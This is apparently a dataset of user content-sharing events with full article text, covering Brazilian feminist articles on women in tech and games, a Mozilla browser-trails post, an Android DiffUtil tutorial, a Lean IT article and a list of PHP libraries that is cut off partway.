1485533629,CONTENT SHARED,-2314360211211303885,8195788452563155020,8414459452745693932,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,http://www.hypeness.com.br/2017/01/o-meme-luiza-voce-esta-atenta-explica-da-melhor-forma-o-machismo-na-area-da-tecnologia/,"O meme 'Luiza, você está atenta?' explicou da melhor forma o machismo na área da tecnologia","Que o mercado de trabalho em geral ainda é extremamente machista, a gente já sabe. Mas infelizmente, há diversas áreas onde o machismo é tão evidente que torna a presença feminina praticamente inexistente. É o caso do mercado tecnológico. No Brasil, somente 17% dos programadores de TI são mulheres, por exemplo. E estima-se que mais de 90% dos profissionais da computação são do sexo masculino. Isso sem contar as diferenças salariais. Para combater esses números, existem iniciativas como o PyLadies , um grupo internacional com foco em ajudar as mulheres a se tornarem participantes ativas e líderes da comunidade de código aberto Python. E o PyLadies de Teresina , no Piauí, aproveitou a deixa do meme do momento, o ""Luíza, você está atenta?"" , para debater este problema, mostrando que as mulheres podem fazer sim a diferença na computação. ""Você tá achando que as mulheres vão deixar o machismo na área de tecnologia barato? BANG, Luiza! A gente cria várias redes de mulheres pra ocupar esses espaços!"" , diz o post do projeto, que teve mais de 1 mil curtidas. Todas as imagens © Reprodução Facebook",pt
1485770329,CONTENT SHARED,-1138633255366005559,-1863544689523892600,9182686286942272997,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://thinkolga.com/2015/02/02/kaol-porfirio-luta-como-uma-garota/,Kaol Porfírio luta como uma garota! - Think Olga,"Entrevistas Kaol Porfírio luta como uma garota! Por muito tempo, fazer algo ""como uma garota"" foi considerado pejorativo. Infelizmente, para algumas pessoas, isso ainda é visto como sinônimo de fraqueza, vulnerabilidade ou falta de técnica. Nada disso tem qualquer fundamento na realidade e o uso dessa expressão de forma depreciativa está com os dias contados. Após uma linda campanha da Always que valoriza o que é feito como uma garota (#LikeAGirl), a ilustradora, desenvolvedora de jogos e gamer Kaol Porfírio, do Rio Grande do Sul, criou uma série de ilustrações chamada Fight Like a Girl, ou Lute Como Uma Garota. Nela, estão representadas guerreiras famosas da ficção, para provar que as mulheres também podem ser lutadoras impiedosas e inspiradoras. Em sua página do Facebook , Kaol já desenhou Sarah Connor, Xena, Mulan e Beatrix Kiddo. Ela nos concedeu uma entrevista na qual fala sobre a série e sua experiência como mulher no mundo dos games, cuja famosa misoginia é desafiada diariamente por garotas no mundo inteiro que lutam por seu direito e sua voz em uma indústria que é em boa parte financiada por elas . A convite do Think Olga, Kaol fez uma edição especial do Fight Like a Girl só com feministas famosas. Confira abaixo as ilustras e a nossa conversa com a artista. Como você avalia a participação feminina na indústria dos games na atualidade? A participação feminina na industria de jogos é muito baixa. Normalmente em cursos de jogos ou de especializando na área as mulheres fazem parte de 5% dos alunos, e acredito que não deva passar dos 20% em empresas. A industria de jogos ainda é bastante nova, eu tenho esperança a presença de mulheres na industria de jogos aumente. Um movimento chamado #1ReasonWhy reuniu vários desabafos de desenvolvedoras de jogos e com eles dá para ter uma grande ideia quao hostil é a área e quanto amor você precisa ter para trabalhar na mesma. Há muitas críticas sobre a forma sexualizada como as personagens de games são retratadas. Qual sua visão sobre essas críticas? São fundamentadas? A sexualização excessiva e a objetificação de personagens femininas nos jogos não tem nada de diferente de qualquer industria de enterimento focada no publico masculino, muita vezes com a desculpa de ser apenas ""fantasia"" ou ""liberdade do design"". Mas o que realmente acontece é a mulher sendo retratada como um objeto apenas para agradar o publico masculino, ignorando totalmente as jogadoras, que pelos últimos números do ESA, são 48% do publico. Sem falar que na maioria das vezes, as personagens não possuem nenhum valor pra trama, estão ali para ""enfeite"". A mulher é, na maioria das vezes, mal representada nos jogos. O que as mulheres podem fazer para poder conquistar mais espaço na indústria dos games, que ainda é entendida como uma indústria masculina? Vejo muitas mulheres se destacando na industria, isso dá força e encoraja. Na ultima Global Game Jam (evento onde desenvolvedores se reúnem para produzir jogos em 48 horas) o vídeo de abertura do evento contou com um trecho onde a desenvolvedora brasileira Amora Bettany, da Miniboss, trouxe um discuso de desconstrução bastante claro, e acredito que isso tenha atingido muitas pessoas, e quem sabe, feito elas saírem das suas ""caixinhas"". Mulheres como ela, mostram que é possivel mudar o ambiente e conquistar seu espaço, sendo um exemplo para as próximas. Você já sofreu algum tipo de preconceito no seu trabalho como game developer? Em caso positivo, por favor nos conte. Em caso negativo, já testemunhou alguma outra mulher sofrer preconceito? Em um evento de jogos é comum de acontecer das pessoas me ignorarem, acreditando que estou ali apenas para ""acompanhar meu namorado"". E essa reclamação não é só minha, veio de uma amiga, em um evento, que se sentiu ignorada em conversas. Eu tento sempre estar com pessoas que me conhecem e que confio, e como game developer, aqui no sul, temos uma associação de devs - adjogosrs -bastante unida, o que me deixa bastante tranquila na área. Já como gamer, a coisa muda. Somos tratadas extremamente mal em jogos online. Escondo sempre minha foto de perfil, minha voz e evito chat. Já fui chamada de muita coisas, simplesmente pelo fato de ser mulher. Além claro, de cantadas e mais cantadas. É cansativo e humilhante. Por que você decidiu fazer a série FIGHT LIKE A GIRL? E por que você acha que ela fez tanto sucesso? Iniciei a ""Fight Like a Girl"" com o proposito de desabafo, e acredito que muitas mulheres se identificaram com a série pelo mesmo motivo. Meu desejo é homenagear mulheres fortes que podemos nos orgulhar, que mesmo fictícias, inspiram a vida de muitas pessoas. Não havia nenhuma intensão de sucesso. Na verdade eu nunca imaginei que iria ter o feedback que estou tendo com a série. É gratificante e inesperado. Iniciei e publiquei. Em uma semana ganhei mil curtidas e muitos comentários, tanto de elogios quanto de pedidos. Foi então que notei o quanto mulheres se identificaram e precisavam lembram que sim, existem mulheres que lutam! Quais são as próximas personagens a serem retratadas na série? Há pedidos das leitoras? Quem elas querem que apareça? Existem muitos pedidos, muito emocionantes. Um dos mais pedidos foi da Korra, da série Avatar. Eu não imaginava que uma personagem de uma série pudesse ter ajudado tantas mulheres de tantas formas diferentes. Noto que a maioria são personagens já antigas, como por exemplo a protagonista de Kill Bill e a Xena. A lista ainda está grande e por isso não sei até quando a série vai. A OLGA é um projeto feminista criado em abril de 2013 cuja missão é empoderar mulheres por meio da informação.",pt
1485770365,CONTENT REMOVED,-1138633255366005559,-1863544689523892600,9182686286942272997,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://thinkolga.com/2015/02/02/kaol-porfirio-luta-como-uma-garota/,Kaol Porfírio luta como uma garota! - Think Olga,"Entrevistas Kaol Porfírio luta como uma garota! Por muito tempo, fazer algo ""como uma garota"" foi considerado pejorativo. Infelizmente, para algumas pessoas, isso ainda é visto como sinônimo de fraqueza, vulnerabilidade ou falta de técnica. Nada disso tem qualquer fundamento na realidade e o uso dessa expressão de forma depreciativa está com os dias contados. Após uma linda campanha da Always que valoriza o que é feito como uma garota (#LikeAGirl), a ilustradora, desenvolvedora de jogos e gamer Kaol Porfírio, do Rio Grande do Sul, criou uma série de ilustrações chamada Fight Like a Girl, ou Lute Como Uma Garota. Nela, estão representadas guerreiras famosas da ficção, para provar que as mulheres também podem ser lutadoras impiedosas e inspiradoras. Em sua página do Facebook , Kaol já desenhou Sarah Connor, Xena, Mulan e Beatrix Kiddo. Ela nos concedeu uma entrevista na qual fala sobre a série e sua experiência como mulher no mundo dos games, cuja famosa misoginia é desafiada diariamente por garotas no mundo inteiro que lutam por seu direito e sua voz em uma indústria que é em boa parte financiada por elas . A convite do Think Olga, Kaol fez uma edição especial do Fight Like a Girl só com feministas famosas. Confira abaixo as ilustras e a nossa conversa com a artista. Como você avalia a participação feminina na indústria dos games na atualidade? A participação feminina na industria de jogos é muito baixa. Normalmente em cursos de jogos ou de especializando na área as mulheres fazem parte de 5% dos alunos, e acredito que não deva passar dos 20% em empresas. A industria de jogos ainda é bastante nova, eu tenho esperança a presença de mulheres na industria de jogos aumente. Um movimento chamado #1ReasonWhy reuniu vários desabafos de desenvolvedoras de jogos e com eles dá para ter uma grande ideia quao hostil é a área e quanto amor você precisa ter para trabalhar na mesma. Há muitas críticas sobre a forma sexualizada como as personagens de games são retratadas. Qual sua visão sobre essas críticas? São fundamentadas? A sexualização excessiva e a objetificação de personagens femininas nos jogos não tem nada de diferente de qualquer industria de enterimento focada no publico masculino, muita vezes com a desculpa de ser apenas ""fantasia"" ou ""liberdade do design"". Mas o que realmente acontece é a mulher sendo retratada como um objeto apenas para agradar o publico masculino, ignorando totalmente as jogadoras, que pelos últimos números do ESA, são 48% do publico. Sem falar que na maioria das vezes, as personagens não possuem nenhum valor pra trama, estão ali para ""enfeite"". A mulher é, na maioria das vezes, mal representada nos jogos. O que as mulheres podem fazer para poder conquistar mais espaço na indústria dos games, que ainda é entendida como uma indústria masculina? Vejo muitas mulheres se destacando na industria, isso dá força e encoraja. Na ultima Global Game Jam (evento onde desenvolvedores se reúnem para produzir jogos em 48 horas) o vídeo de abertura do evento contou com um trecho onde a desenvolvedora brasileira Amora Bettany, da Miniboss, trouxe um discuso de desconstrução bastante claro, e acredito que isso tenha atingido muitas pessoas, e quem sabe, feito elas saírem das suas ""caixinhas"". Mulheres como ela, mostram que é possivel mudar o ambiente e conquistar seu espaço, sendo um exemplo para as próximas. Você já sofreu algum tipo de preconceito no seu trabalho como game developer? Em caso positivo, por favor nos conte. Em caso negativo, já testemunhou alguma outra mulher sofrer preconceito? Em um evento de jogos é comum de acontecer das pessoas me ignorarem, acreditando que estou ali apenas para ""acompanhar meu namorado"". E essa reclamação não é só minha, veio de uma amiga, em um evento, que se sentiu ignorada em conversas. Eu tento sempre estar com pessoas que me conhecem e que confio, e como game developer, aqui no sul, temos uma associação de devs - adjogosrs -bastante unida, o que me deixa bastante tranquila na área. Já como gamer, a coisa muda. Somos tratadas extremamente mal em jogos online. Escondo sempre minha foto de perfil, minha voz e evito chat. Já fui chamada de muita coisas, simplesmente pelo fato de ser mulher. Além claro, de cantadas e mais cantadas. É cansativo e humilhante. Por que você decidiu fazer a série FIGHT LIKE A GIRL? E por que você acha que ela fez tanto sucesso? Iniciei a ""Fight Like a Girl"" com o proposito de desabafo, e acredito que muitas mulheres se identificaram com a série pelo mesmo motivo. Meu desejo é homenagear mulheres fortes que podemos nos orgulhar, que mesmo fictícias, inspiram a vida de muitas pessoas. Não havia nenhuma intensão de sucesso. Na verdade eu nunca imaginei que iria ter o feedback que estou tendo com a série. É gratificante e inesperado. Iniciei e publiquei. Em uma semana ganhei mil curtidas e muitos comentários, tanto de elogios quanto de pedidos. Foi então que notei o quanto mulheres se identificaram e precisavam lembram que sim, existem mulheres que lutam! Quais são as próximas personagens a serem retratadas na série? Há pedidos das leitoras? Quem elas querem que apareça? Existem muitos pedidos, muito emocionantes. Um dos mais pedidos foi da Korra, da série Avatar. Eu não imaginava que uma personagem de uma série pudesse ter ajudado tantas mulheres de tantas formas diferentes. Noto que a maioria são personagens já antigas, como por exemplo a protagonista de Kill Bill e a Xena. A lista ainda está grande e por isso não sei até quando a série vai. A OLGA é um projeto feminista criado em abril de 2013 cuja missão é empoderar mulheres por meio da informação.",pt
1485774110,CONTENT SHARED,6716649347760033969,7774613525190730745,4689902808942448928,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://medium.com/@patrykadas/lossless-web-navigation-with-trails-9cd48c0abb56,Lossless Web Navigation with Trails,"Since the early 2000's, the desktop metaphor of tabbed browsing has dominated the way we navigate the web. With Browser.html , a Mozilla Research project aimed at building a browser user interface built in HTML for nightly builds of Servo , we are experimenting with evolving the standard tabbed browser towards a model based on trails . The goal of trails is to construct not only a window into web content but a narrative of user activity. Our hope is that our work might help advance the state of browsing closer to the ideal of a tool that enhances our cognitive process, rather than increasing our cognitive load. To illustrate the kind of scenario we're thinking about, we'll introduce you to our friend Nala. The search for the perfect pizza Nala's scouting out pizza joints. In her traditional, tabbed browser, she sets off with a search (1) that takes her to a page of search results (2) . She follows a link to a list of restaurants on Yelp (3) , and checks out a promising pizza joint (4) . External links on Yelp open in separate tabs, so when Nala clicks a link to a restaurant's website, it starts a new tab (5) . The new tab doesn't have any history, or any connection to the first tab. All history about how Nala got to the restaurant's website is lost! The browser's amnesia compounds as she goes to look at more options: switching back to the first tab (6) and navigating back to the Yelp results (7) , she looks for another restaurant. Now when she selects a new restaurant (8) , part of the current tab's navigation history is lost as well: Clicking an external link to the next restaurant's website again opens a new tab (9) , and again severs the connection from the history that preceded it. To look at the results of her initial search results again, Nala goes back a few steps in the history of the first tab and opens another pizza venue directly from there (10) . In this example of a common search scenario, more than a third of the history is lost! Of course, browsers typically provide tools like history views and ""recent tabs"" menus, but none of these presents a narrative that matches the actual course Nala followed. From tabs to trails With Browser.html we are prototyping a user interface that tells not just the fragments of Nala's history that a tabbed browser preserves (Version 1) , but all of it (Version 2) : But these trees can easily get intricate. What we think matters most is not where each exploration diverged, but the complete path leading to a result. So that's what we display to the user (Version 3) : Each row represents a trail from the root of the navigation tree to a result. The benefit is that a trail tells a self-contained story from left to right. On the other hand, duplicates lead to a lot of distracting visual noise. Luckily, that can be removed by focusing on a single trail while folding the others. This is what Nala would have actually seen: Tabs and trails: the same, but different. If you ignore the paths leading up to each explored topic, trails are no different from conventional tabs. This is intentional: our goal is to enhance existing user experiences, not to replace them. Users can continue using browsers as they always have. And yet each navigation trail is a tab that tells a complete story from start to finish. This provides us with opportunities to explore further enhancements to the user experience. Here are a few we're considering: Sharing not just URLs but entire trails. Fading trails as they become irrelevant and eventually moving them off the grid. Persisting trails in a form as they were during the visit, so that they can be revisited (offline). Allowing annotation of trails so users can record their thoughts while researching a topic. Collaborative topic research. Optionally opening pages in a new trail. The Path To Trails The idea of visualizing a user's journey through the web as a trail is by no means a new one. Even seventy years ago, in his landmark As We May Think essay popularizing the idea of hyperlinked data, Vannevar Bush described a ""memex machine."" He envisioned this machine would help us collect and share data through a personal library that would help us leave a trail through our research process. Since then, there have been several attempts to create such a tool, beginning with Trailmeme by Xerox Trails . This concept was continued by Trailblazer by MacWarriors in 2004, currently followed by Trailblazer.io . It's our hope that by connecting the ideas of trails to familiar tabbed idioms, we'll build on existing workflows and make the idea broadly appealing. And Browser.html serves as a great test-bed for these ideas. Join us! We're currently working on building our first working prototype. If this sounds like fun to you, please come check out the Browser.html project! You can find our list of open issues on GitHub, or come chat with us on our Slack .",en
1485777754,CONTENT SHARED,2508620055362300376,3118792477913513242,-3154840927888771594,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0,SP,BR,HTML,https://medium.com/@iammert/using-diffutil-in-android-recyclerview-bdca8e4fbb00,Using DiffUtil in Android RecyclerView,"DiffUtil is a utility class that can calculate the difference between two lists and output a list of update operations that converts the first list into the second one.It can be used to calculate updates for a RecyclerView Adapter. Most of the time our list changes completely and we set new list to RecyclerView Adapter. And we call notifyDataSetChanged to update adapter. NotifyDataSetChanged is costly. class solves that problem now. It does its job perfectly! Lets create a usecase for that. Lets say we have a person list which we add persons randomly. Then we sort the list by age and update recyclerview. I am going to use static data to keep implementation simple. DataProvider.class Here is our player comes to the ring. DiffUtil.Callback is an abstract class and it has 4 abstract methods and 1 method non-abstract method. Let explain them shortly. DiffUtil.Callback Methods getOldListSize() : It returns the size of the old list. getNewListSize() : Returns the size of the new list; areItemsTheSame(int oldItemPosition, int newItemPosition) : Called by the DiffUtil to decide whether two object represent the same Item.If your items have unique ids, this method should check their id equality. areContentsTheSame(int oldItemPosition, int newItemPosition) : Checks whether two items have the same data.You can change its behavior depending on your UI. This method is called by DiffUtil only if areItemsTheSame returns true. getChangePayload(int oldItemPosition, int newItemPosition) : If areItemTheSame return true and areContentsTheSame returns false DiffUtil calls this method to get a payload about the change. For my example I didn't use payload object but if you want to use it you can go through this example . MyDiffUtilCallback.java Update method in my RecyclerViewAdapter That's all. We call dispactUpdatesTo(RecyclerView.Adapter) method and adapter will be notified about the change. References",en
1485785501,CONTENT SHARED,-9039021554659316935,8354413736311351349,8049005188812677835,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,http://www.sweek.nl/pt-br/concurso-literario-leia-mulheres-sweek/,Concurso Literário Leia Mulheres + Sweek | Sweek,"January 18, 2017 Nós sabemos que as mulheres ainda não têm tanta visibilidade no mercado editorial, por isso é tão importante pesquisar, valorizar, ler, compartilhar e exaltar as obras escritas por elas - de clássicas a contemporâneas. Firmamos uma parceria com o Leia Mulheres para lançar um concurso literário exclusivo para mulheres . Aliás, você já conhece o Leia Mulheres? É um grupo com eventos de leitura por todo o Brasil que surgiu em 2014, após a iniciativa da escritora britânica Joanna Walsh, que propôs o projeto #readwomen2014 (#leiamulheres2014). Inclusive, é possível encontrar grandes nomes da literatura no Sweek, como Jane Austen, Charlotte Brontë, Anne Brontë, Virginia Woolf, Anna Sewell, Louisa May Alcott e muito mais. Ficou interessada na competição? Para participar, você precisa: 1. Ser mulher. 2. Baixar o aplicativo para Android, iOS ou usar a plataforma pelo seu navegador: Web: Android: iOS: 4. Escrever uma história em qualquer gênero literário (conto, crônica, poesia ou o de sua preferência), em português e até 2 mil palavras . O tema é ""descoberta"" . 5. Adicionar a tag #LeiaMulheres para conseguirmos identificar sua história como parte do concurso. 6. Concluir sua história e submetê-la até o dia 20 de fevereiro . As vencedoras serão anunciadas no dia 15 de março . 7. Não ser mediadora do Leia Mulheres, nem parente ou próxima de nenhum membro do júri. Vamos aos prêmios ! 1º lugar: vale-presente de 250 reais do Submarino. 2º lugar: vale-presente de 150 reais do Submarino. 3º lugar: vale-presente de 100 reais do Submarino. Além de passar pelo crivo da Equipe Sweek , as histórias serão julgadas por 4 representantes do Leia Mulheres. Débora Arruda Mediadora do Leia Mulheres na cidade de Aracaju, Sergipe. Formada em Letras-Português pela UFS, poeta e membro do coletivo Sarau Debaixo. Lalita Lopes Escritora por amor desde de os nove anos de idade, economista em formação, cineasta por paixão. Paulistana, moradora de Manaus e mediadora do projeto Leia Mulheres na cidade, assim como do projeto Manawaras, que incentiva a valorização da cultura do Norte nas mídias sociais. Déa Paulino Nascida itapetiningana e tornada nômade, dançarina em pesquisa para a concepção do segundo solo e poeta que só publica os escritos em antologias e publicações sazonais. Leitora apaixonada, quando a vida e a vista estreitam recorre a Orides, Maria Gabriela, Hilda, Lupe, Florbela, Sophia, Adélia, Micheliny e muitas outras e outros que absorve lenta e imoderadamente, evitando regurgitar. É mediadora do Leia Mulheres Itapetininga - SP , o primeiro a ser realizado fora das capitais. Maurem Kayna Engenheira Florestal e escritora que baila flamenco e cultiva alfaces. Seu livro de estréia, ""Pedaços de Possibilidade"" foi finalista do Prêmio Sesc de Literatura 2009. Em 2014, publicou ""Labirintos Sazonais"" obra nasceu como um projeto de literatura digital independente e, através de um edital de cultura, virou livro impresso e acabou conquistando várias indicações e prêmios. É uma das mediadoras do Leia Mulheres Porto Alegre e mantém o www.mauremkayna.com porque acredita que palavra é matéria-prima para a vida. Boa sorte! Mal podemos esperar para ler sua história. ��",pt
1485795031,CONTENT SHARED,2321412363020240814,6013226412048763966,8310906696171015235,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.linkedin.com/pulse/lean-all-people-o-na-ti-%C3%A9-focado-em-pessoas-luz-pmp?trk=prof-post,Lean IT is all about people - o Lean na TI é focado em pessoas,"Published on Rodolfo Luz, PMP Follow Following Unfollow Rodolfo Luz, PMP Sign in to follow this author Project Manager at CPqD & Lean Enthusiastic Se você chegou agora e deseja obter uma boa introdução sobre Lean, recomendo a leitura deste artigo Um dos motivadores para eu escrever esta série de artigos, foi o fato deste conhecimento ainda estar pouco difundido no Brasil e ao público da língua portuguesa justamente pelo conteúdo da LITA estar disponível apenas na língua inglesa. Além disso, no Brasil, poucos centros de treinamento estão credenciados para aplicar o treinamento inicial da LITA, o Lean IT Foundation e suas agendas ainda são muito restritas. onde falo um pouco de Kaizen, de Lean, sua origem e como este pode transformar uma organização. Se se interessar mais nas ferramentas Lean e Kaizen, tenho um segundo artigo onde falo da ferramenta Lean A3 para melhoria contínua, resolução de problemas e questões do dia-a-dia organizacional e pessoal. Lean IT is all about people - o Lean na TI é focado em pessoas É com esta frase que que dou início à série de artigos sobre Lean para área de Tecnologia da Informação . O Lean tradicional, da área de manufaturam, lida com pessoas, mas muito com produtos, processos e equipamentos tangíveis. Por outro lado, a área de TI lida com serviços, softwares, consultoria e outros aspectos que são intangíveis, além da infraestrutura de TI, o aspecto mais tangível são as pessoas que rodam, alimentam e produzem na área de TI. Portanto, o Lean IT trata principalmente comportamento dos profissionais da área de TI, seus costumes, seus processos, seus valores, sua cultura e sua colaboração. Então, torna-se uma área ímpar para o Lean atuar, onde o foco é nas pessoas. Apesar de haver uma bibliografia vasta de conhecimento sobre Lean aplicada a área de TI, minha fonte de conhecimento em Lean para área de TI e a base para este e próximos artigos é a Lean IT Association, ou simplesmente LITA . Trata-se de uma associação fundada por três Organizações de Treinamento Credenciadas (ITpreneurs, Pink Elephant, Quint Wellington Redwood) e três Institutos de Exame (APMG, EXIN, PEOPLECERT International Ltd) que reuniu diversos gurus do Lean aplicado à área de TI (diretores e executivos de TI, autores de livros e publicações sobre o assunto) que conseguiu reunir as melhores práticas de diversas destas fontes em um corpo de conhecimento unificado e organizado sobre Lean IT. Foco nas pessoas No guia Lean IT Foundation, é relatada a grande diferença do Lean IT em relação ao Lean Manufactoring, pois enquanto que na manufatura o Lean tenta otimizar o uso dos recursos, principalmente o uso eficiente da matéria prima e gestão de estoque just-in-time , na TI, temos recursos tangíveis na área de infraestrutura mas em todo o resto lidamos com recursos intangíveis e o principal recurso na TI é o Tempo e as Pessoas (justificando o título deste artigo). Dado que os serviços de TI são principalmente produzidos por trabalho intelectual, produtividade e conhecimento são críticos e complexos de se compreender. Na TI, parece que sempre ""estamos muito ocupados resolvendo problemas ao invés de documentarmos as coisas"", ""não temos tempo para documentar projetos e completar o formulário da GMUD"", "" não temos tempo para fazer melhorias"" e ""não temos tempo para testar mais antes da entrega"". Portanto, o Lean atuará bastante na otimização do uso do fator Tempo pelos nossos Recursos Humanos na TI. Assim como comentei em um artigo anterior , o Lean pode ser combinado com diversas outras técnicas e boas práticas, portanto não seria diferente com o Lean IT, que foca no comportamento e atitude dos profissionais de TI, desde requisitos à operações. Atuando desta forma, é possível cobrir a lacuna de comportamento e atitude das boas práticas que enfocam muito em processos muito bem estruturados. O Lean IT enxerga que os processos instituídos pelas boas práticas de mercado (exemplo: Gerenciamento de Serviços de TI) são necessários para um bom funcionamento da TI e estruturam uma primeira linha de base para os Kaizens mas acima de tudo, com a Visão Lean será possível direcionar os esforços e os Kaizens para processos que realmente agreguem valor aos clientes e ao negócio. Os Guias Lean IT A LITA possui 3 guias-chave em língua inglesa que constituem seu corpo conhecimento em Lean IT, cada um focado em determinado estágio de aprendizado e aplicação do conhecimento na organização - da fundação à prática e à profissionalização. Além disso, desenvolveu um esquema de certificação baseado nos 3 guias e está desenvolvendo também um 4º guia e certificação voltado para o Coach em Lean IT: Referências: www.leanitassociation.com Artigos de minha autoria relacionados ao assunto: Lean Turnaround -Transformação Lean e sua relação com Agile e Design Thinking Lean A3 Gerenciando para o Aprendizado em Projetos Lean IT Foundation - A fundação para o Lean IT, contém os fundamentos básicos para você conhecer e compreender o Lean para área de TI. Tem o objetivo de ajudar as organizações de TI a garantir que forneçam aos seus clientes os melhores serviços possíveis. Através da compreensão do valor do cliente, os processos que fornecem este valor, a forma de gerir o desempenho, a forma de organizar e a atitude e comportamento necessários e desta forma, as organizações de TI são ajudadas a desenvolver uma mentalidade de melhoria contínua. Lean IT Kaizen - Kaizen é a palavra japonesa para melhoria contínua usando pequenas mudanças incrementais (Kai - mudança; Zen - para melhor). Kaizen é uma abordagem para a resolução de problemas e questões, constitui a base da melhoria contínua contínua nas organizações. Quando aplicado ao local de trabalho, o Kaizen significa melhoria contínua envolvendo todos, gerentes e trabalhadores, todos os dias e em qualquer lugar, proporcionando estrutura para a melhoria do processo. Este guia detalha, as ferramentas de melhoria contínua e Kaizen na TI . Pertence à categoria Practitioner da LITA, ou seja, Praticante de Lean IT, que conhece e aplica a filosofia. Lean IT Leadership - Baseia-se no conhecimento básico adquirido através da Lean IT Foundation. Lean IT Leadership centra-se em garantir que as pessoas que cumprem um papel de liderança dentro da organização saibam o que precisam fazer para ajudar a desenvolvê-lo para uma organização Lean IT. O papel pode ser desempenhado de forma formal ou informal. As pessoas que seguem o currículo Lean IT Leadership podem se beneficiar substancialmente desde a primeira compreensão do papel do Lean IT Kaizen. Uma das principais tarefas da Lean IT Leadership é conduzir e ensinar melhoria contínua. Este guia pertence à categoria Professional , focada em Implementar, Estrategiar e Mobilizar, ou seja, além de implementar Lean, deve torná-lo parte da estratégia organizacional, assim como preconiza Art Byrne em Lean Turnaround . Lean IT Coach (em desenvolvimento) - Também pertencente à categoria Professional , o conteúdo deste guia e certificação ainda não está disponível, pois encontra-se em desenvolvimento. Contudo, acredito que este deverá formar o Coach em Lean IT , sendo responsável por disseminar, capacitar e orientar as empresas e os colaboradores das organizações a aplicar a cultura e filosofia do Lean IT, podendo este profissional atuar internamente em sua empresa ou externamente como consultor para outras empresas criando um novo nicho de mercado, assim como os Agile Coaches para as Metodologias Ágeis . Cada um dos guias acima, encontra-se disponível gratuitamente no site www.leanitassociation.com . Segundo a LITA, os guias concentram todos o conteúdo necessário para conquistar as suas respectivas certificações, contudo, exigem como pré-requisito para prestar o exame de certificação a realização de treinamento em algum centro de treinamento autorizado. Nos próximos artigos falarei um pouco de cada um dos guias Lean IT disponíveis, a começar pela fundação e alicerce dos outros guias, o Lean IT Foundation . Espero que gostem da série. Vejo vocês em breve no próximo artigo. Lean IT Association . Disponível em: <www.leanitassociation.com>. Acesso em 26 de janeiro de 2017. Byrne, Art. Lean Turnaround: A Grande Virada . Lean Institute Brasil. 2014. Artigo original: www.rodolfoluz.net Project Manager at CPqD & Lean Enthusiastic",pt
1485795080,CONTENT SHARED,-3224698078244963479,3609194402293569455,7615580420845694310,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://tutorialzine.com/2017/01/20-awesome-php-libraries-for-early-2017/,20 Awesome PHP Libraries For Early 2017,"20 Awesome PHP Libraries For Early 2017 Danny Markov This week we have for you a collection of high-quality PHP libraries that have caught our eye in the last couple of months. We've tried our best to include projects that are active, well documented, and will have a realistic shot at finding a place in your developer's workbelt. If we've haven't included your favorite new library, feel free to share it in the comments :) A no-dependencies library that lets you send HTTP requests. It provides the needed methods for adding headers, accessing response data, handling forms, and everything else you may need, neatly packaged in a clean and easy to use API. Rinvex Country is a PHP package that lets developers retrieve detailed information about the countries of the world. Using the over 50 methods you can get the area of Angola, the currency of Cyprus, the native name of Namibia or even the FIFA name of Finland. There is a ton of info available and the data sources are pretty reliable. A PHP library for developing messenger bots. Works with most of the popular messaging platforms including Facebook Messenger, Slack, Telegram, WeChat, and others. There is also a helpful boilerplate Laravel project available here . If you are not familiar with the concept of messenger bots we suggest you check out our article Developer's Introduction To Chatbots . Laravel package for generating highly customizable charts out of datasets. The package works as a PHP wrapper for multiple built-in JavaScript chart libraries, allowing devs to create a wide variety of graphs, gauges and progressbars using only one tool. Swap allows you to retrieve currency exchange rates from a number of services such as Fixer, Google, and Yahoo. Request responses can be easily cached and accessed later. The library is available in the form of a Laravel Package as well. A collection of mathematical functions and algorithms ranging from simple algebra to finances, statistics, numerical analysis and others fields. The library is modular, has a straightforward API, and doesn't require any external dependencies. PHPUnit is an advanced testing framework that enables teams to thoroughly test their code. Unit tests are written in standalone object-oriented classes with the help of many methods for handling assertions, dependencies, etc. A simple CLI is provided for running test and generating reports. A less popular testing framework we also wanted to share. Atoum offers a one-step installation precess and a relatively simple workflow, while still maintaining a ton of great features. It has a mock engine, expressive assertions, and a CLI that can execute multiple tests in parallel. A PHP implementation of the Simple Regex Language - a verbose way of writing regular expressions. The library provides multiple methods that can be chained together, forming readable and easy to understand RegEx rules. The library has ports for JavaScript and Python as well. Stash makes it easy to speed up your code by caching the results of expensive functions or code. Certain actions, like database queries or calls to external APIs, take a lot of time to run but tend to have the same results over short periods of time. This makes it much more efficient to store the results and call them back up later. A port of the popular Ruby library for testing HTTP interactions. PHP VCR records HTTP requests and stores them in ""cassettes"" which can be replayed later on. A set of testing utilities are also provided, making it possible to inspect and compare recordings in detail. This library allows you to easily configure an OAuth 2.0 server and set up all the authentication levels needed to protect your API. It is fully standards compliant and supports all the grants defined by OAuth protocol. The Laravel Passport module is built on top of the OAuth 2.0 Server. An image manipulation library that tries to bring together all low level PHP image processing libraries under the same object-oriented API. This allows Imagine to be used for a wide variety of tasks such as drawing, resizing, cropping, filters, effects, metadata editing, and others. Extremely simple and easy to understand skeleton PHP application, providing only the most essential features every project needs. It does not strive to be a do-it-all framework like Laravel, but due to it's simplicity MINI can be used for getting smaller apps up and running in no time. The official PHP library for working with Amazon Web Services . The SDK makes it easy to connect AWS with any PHP project and access all the various available services. There is also a useful Laravel wrapper which can be found here . Lightweight PHP library for working with URLs. With Purl you can compose complex paths attribute by attribute, extract data from URLs, manipulate queries, recognize URLs in strings, and much more. Documentation generator that uses a simple folder structure and Markdown files to create responsive documentation websites. 